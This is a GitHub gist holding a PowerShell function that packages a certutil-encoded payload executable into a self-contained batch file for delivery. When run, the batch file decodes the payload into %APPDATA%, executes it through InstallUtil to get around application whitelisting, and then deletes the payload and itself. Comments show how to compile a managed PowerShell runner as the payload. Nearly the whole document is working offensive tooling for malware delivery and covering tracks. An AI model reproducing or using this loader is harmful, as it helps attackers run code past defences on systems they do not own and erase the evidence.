Skip to content

Instantly share code, notes, and snippets.

@xorrior
Created October 27, 2016 14:13
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save xorrior/a3cfb53396cb383a05463930fde36db3 to your computer and use it in GitHub Desktop.
Save xorrior/a3cfb53396cb383a05463930fde36db3 to your computer and use it in GitHub Desktop.
Generate InstallUtil payload within batch file for delivery
function New-InstallUtilBatchFile
{
<##>
#You must provide an encoded payload using certutil -encode for the InFilePath.
#certutil -encode payload.exe payload.txt
#For compiling w/ a managed powershell runner
# C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:payload.exe payload.cs
[CmdletBinding()]
param
(
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[ValidateScript({Test-Path $_})]
[string]$InFilePath,
[Parameter()]
[ValidateNotNullOrEmpty()]
$InlineOutFilePath = "%APPDATA%\debug.txt",
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$InlineOutExePath = "%APPDATA%\debug.exe",
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$BatchFilePath = "$($pwd.Path)\easybutton.bat"
)
$TemplateBatch = @"
@ECHO OFF
SET outEncFile="$InlineOutFilePath"
SET outEXE="$InlineOutExePath"
SET installUtil=C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
INLINEENCODING
setlocal enabledelayedexpansion
(
ECHOCMDLINES
) > %outEncFile%
endlocal
certutil -decode "%outEncFile%" "%outEXE%"
%InstallUtil% /logfile= /LogToConsole=false /U "%outEXE%"
del "%outEncFile%"
timeout /t 5 /nobreak > NUL
del "%outEXE%"
start /b "" cmd /c del "%~f0"&exit /b
"@
$certUtilEncodedBinary = Get-Content -Encoding Ascii $InFilePath
$count = 1
$batchFormattedBinary = $certUtilEncodedBinary | % {"SET `"line$count=$_`"";$count+=1}
$count = 1
$echolines = $certUtilEncodedBinary | % {"echo !line$count!";$count+=1}
$TemplateBatch = $TemplateBatch.Replace("INLINEENCODING",$batchFormattedBinary -join "`n")
$TemplateBatch = $TemplateBatch.Replace("ECHOCMDLINES",$echolines -join "`n`t")
$TemplateBatch = $TemplateBatch -creplace '(?m)^\s*\r?\n',''
$TemplateBatch | Out-File -Encoding ascii $BatchFilePath -Force
Get-ChildItem -Path $BatchFilePath
}
@xorrior
Copy link
Author

xorrior commented Oct 27, 2016

Use the lowest version of the System.Automation.dll possible as the reference assembly.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment